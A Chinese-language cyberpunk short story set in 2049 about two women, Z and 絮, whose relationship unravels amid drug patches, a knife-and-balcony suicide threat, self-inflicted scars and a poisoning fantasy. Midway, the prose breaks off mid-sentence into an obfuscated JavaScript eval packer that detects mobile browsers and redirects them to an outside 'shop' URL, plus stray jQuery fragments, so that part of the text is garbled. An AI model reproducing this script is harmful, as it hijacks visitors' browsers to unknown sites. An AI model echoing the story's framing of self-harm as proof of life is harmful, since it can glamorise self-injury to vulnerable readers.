絮离开502室的时候，是2049年的春天。或者是冬天？在这个恒温的城市里，季节只是日历上的一个数字。她记得那时候她在跳舞，一直在跳，好像如果不跳，身体就会像那些废弃的硬盘一样生锈。她回头看的时候，看见Z坐在那堆书和显示器中间，像一只被剥了皮的鳄鱼。那时候她想，如果雪人不融化，如果鳄鱼不流泪，她们是不是就可以一直这样下去？


    房间里充斥着低频的Techno音乐，那是从絮的脑机接口里直接外放出来的。


    光线是蓝色的。不是那种清澈的天蓝，而是那种用来诱杀昆虫的、带电的蓝。


    Z坐在角落的地毯上。她穿着一件巨大的、并不合身的军用大衣，把自己裹得严严实实。这就是她的“人造皮”，她的鳄鱼装。


    她在写字。用一支真正的钢笔，在昂贵的、从黑市买来的纸张上写字。


    “絮，”Z在纸上写道，墨水洇开，像是一朵黑色的血花，“如果你是一片雪花，那我就是那该死的太阳。我不想融化你，但我只要一靠近，你就消失了。”


    絮正趴在阳台的栏杆上。她穿着一件透明的塑料雨衣，里面是银色的镭射吊带。她的后颈上贴着一片名为“雪人”的神经致幻贴片。


    那是现在最流行的电子毒品，能让人产生一种“正在北海道看雪”的清凉幻觉，从而忘记这座城市的酸雨和高温。


    “你在写什么？”絮转过头，眼神涣散，瞳孔里倒映着窗外巨大的全息广告牌。


    “遗书。”Z头也不抬地说，“或者情书。这两者有区别吗？”


    “Z，你太沉重了。”絮笑了，像是一阵烟雾，“你总是把自己搞得像个殉道者。过来看看这雨，多像电视里的噪点。”


    Z没有动。她看着絮的背影，感到一种物理上的剧痛。


    一种想要把对方吞噬，或者被对方吞噬的极端渴望。


    Z低下头，继续在纸上狂草。她的手在发抖，因为她刚刚停用了抗抑郁的神经抑制剂。她想感受真实的痛苦，在这个麻木的赛博世界里，痛觉是她唯一能确认自己活着的证据。


    致絮：


    在这个充满了仿生人、义肢和云端备份的世界里，我是最后一只鳄鱼。


    大家都披着完美的人皮，只有我，在这件大衣下面，长满了名为“羞耻”的鳞片。我爱你，这种爱是畸形的。我想把你锁进这个只有二十平米的鱼缸里，我想切断你的网络连接，我想拔掉你后颈上的那个芯片，让你只看着我。


    但我知道这不可能。你是属于流动的。你是千禧年的幽灵，你是属于那些闪烁的灯光、属于那些我不懂的电子音乐、属于那些在午夜便利店门口游荡的灵魂。


    刚才我在楼梯口遇到了一个带着机械臂的男人，他看着我就像看着一个同类。那是怪物的眼神。我们都知道，我们这种人，最终的归宿要么是疯人院，要么是焚化炉。


    絮，我把我的心脏剖出来放在桌子上，你却以为那是用来盛烟灰的器皿。


    Z写完这段话，用力地把笔尖戳在纸上，戳破了那一层薄薄的纤维。


    她抬起头。絮还在那里跳舞，即使没有音乐。她的身体像水草一样摇摆，完全沉浸在那个虚假的雪国里。


    Z感到一阵恶心。她站起来，那件巨大的大衣像是一层沉重的壳，拖在地上。


    Z走到阳台上。雨水瞬间打湿了她的脸。


    她从口袋里摸出一把折叠刀。这是她随身携带的东西，不是为了防身，而是为了某种安全感。刀刃在霓虹灯下闪着寒光。


    “絮。”Z喊了一声。


    絮回过头，眼神迷离。“嗯？”


    “如果我现在跳下去，”Z指着下面深不见底的街道，那些穿梭的悬浮车像是一条条流动的光带，“你会记得我多久？像这根烟一样久？还是像你的那个‘雪人’贴片一样久？”


    絮愣了一下。她似乎从那个幻觉中醒了一点点。她看着Z手里的刀，又看了看Z那张苍白得近乎透明的脸。


    “别闹了，Z。”絮走过来，伸出手，想要拿走那把刀，“这不好玩。”


    “我没在玩。”Z躲开了她的手，把刀尖对准了自己的手腕，“我只是想知道，在这个所有记忆都可以被上传、被篡改、被删除的年代，到底什么是真实的？”


    “真实就是现在。”絮说。她的声音很轻，带着一种孩童般的残忍，“真实就是我们在这里，抽烟，看雨。其他的都是废话。”


    絮突然抱住了Z。


    那个拥抱很轻，很软，带着雨水的凉意和廉价香水的味道。Z原本紧绷的身体瞬间僵硬了。她就像那只豪猪，想要靠近取暖，却又怕身上的刺扎伤对方。


    “Z，我们去北海道吧。”絮把头埋在Z的坚硬的大衣领子里，喃喃自语，“听说那里有真的雪，不是脑子里这种。我们可以去那里，堆一个永远不会融化的雪人。”


    Z的手垂了下来，刀掉在地上，发出清脆的响声。


    她在撒谎。Z知道絮在撒谎。絮连一张去地面的车票都买不起，更别说去北海道。而且北海道早就被海水淹没了一半，根本没有雪了。


    但Z没有拆穿她。在这个瞬间，她允许自己相信这个谎言。


    她们回到了房间里。


    絮躺在地毯上，那堆散乱的书籍中间。她撕开了Z的大衣。


    在那件厚重的伪装下面，Z的身体瘦骨嶙峋，皮肤上有着各种各样的伤痕——那是她自己在深夜里刻下的，用以对抗虚无的记号。


    絮的手指划过那些伤痕。


    “痛吗？”絮问。


    “不痛。”Z说，“那是活着的证明。”


    絮吻了她。那个吻带着烟草味，还有一种绝望的甜味。


    但在接吻的过程中，Z突然感到一种巨大的恐惧。她看着絮那双闭着的眼睛，那长长的睫毛，突然觉得眼前这个人是如此陌生。


    絮爱的不是她。絮爱的是这间屋子提供的庇护，是Z提供的安全感，甚至是Z身上那种艺术家式的疯狂。


    Z猛地推开了絮。


    “滚。”Z说。


    絮睁开眼睛，一脸茫然。“什么？”


    “我让你滚。”Z的声音在发抖，眼泪毫无预兆地流了下来，“带着你的‘雪人’，带着你的虚假记忆，滚出去。”


    “你有病吧？”絮坐起来，整理了一下吊带，“刚才还好好的。”


    “对，我有病。”Z歇斯底里地吼道，她抓起桌上的那些信纸，用力地撕碎，抛向空中。白色的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088253|195404||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    纸屑像雪花一样落下，“我病入膏肓了！我受不了这种像塑料一样的关系！我要的是血！是肉！是灵魂的碰撞！不是这种轻飘飘的过家家！”


    Z冲进厨房，那是这间公寓里唯一还没被数字化的地方。她拿出一把水果刀，对着空气挥舞。


    “你根本不懂什么是爱！”Z哭喊着，“爱是意志的胜利！是把两个人钉在十字架上流干最后的一滴血！你只想快乐，你只想麻醉自己！”


    絮站了起来。她冷冷地看着Z，眼神里的温度迅速冷却，变成了那个在夜店里冷漠旁观一切的舞者。


    “Z，你太老派了。”絮说，“没人这么爱了。现在是2049年，没人有力气这么爱了。”


    絮走了。


    门关上的声音很轻，像是一声叹息。


    Z独自留在502室。地上一片狼藉，碎纸片，空酒瓶，还有那把掉在地上的水果刀。


    Z捡起那把刀。她看着刀刃上倒映出的自己——扭曲，变形，像个怪物。


    她走到那台老旧的录音机前——这是她从废品站淘来的，她喜欢这种模拟信号的嘶嘶声。她按下录音键。


    “这是Z。现在是凌晨四点。”


    “絮走了。我觉得我身体里的一部分也跟着走了。就像那条鳄鱼，它终于决定潜回深水里去。”


    “我曾经以为，只要我写得足够多，只要我爱得足够用力，我就能留住什么。但我错了。在这座巴别塔里，语言是无效的。我们说着不同的语言，即使睡在一张床上，也隔着整整一个光年。”


    “刚才，我在想，如果我在那把刀上涂满毒药，然后在亲吻她的时候划破她的嘴唇，那样我们是不是就能永远在一起了？这想法真恶心，但也真迷人。”


    “对不起，絮。我无法像你那样轻盈地活着。我是一块石头，注定要沉到底。”


    Z关掉录音机。


    她从抽屉里拿出一张名片。那是一个地下非法整形医生的名片。上面写着：“定制你的完美人生。”


    Z看着那张名片，突然笑了。笑得眼泪都流了出来。


    也许S是对的。也许K是对的。在这个世界，做一个怪物太痛苦了。也许她该去把自己改造成一个没有任何情感模块的机器人。


    絮走在天桥上。雨停了，空气中弥漫着臭氧的味道。


    她的后颈有点痒，那是“雪人”贴片失效后的戒断反应。


    她回头看了一眼巴别塔。502室的灯还亮着，那是整栋楼里唯一一盏昏黄的灯，其他的窗口透出的都是冷冽的蓝光或紫光。


    那盏灯像是一只眼睛，在盯着她。


    絮点了一根烟。烟雾缭绕中，她仿佛看到Z站在那个阳台上，穿着那件可笑的大衣，像一只孤独的鳄鱼在挥手。


    “傻瓜。”絮吐出一口烟圈。


    她知道她还会回去的。


    就像《千禧曼波》里的Vicky一样，她会一次又一次地离开，然后一次又一次地回去。因为除了那个疯女人的鱼缸，这个偌大的城市里，没有哪里能容纳她这样一个怕冷的雪人。


    她把烟头弹进黑暗的虚空中，看着它像一颗坠落的流星，消失不见。


    然后，她转身，继续走向那个永远不会到来的明天。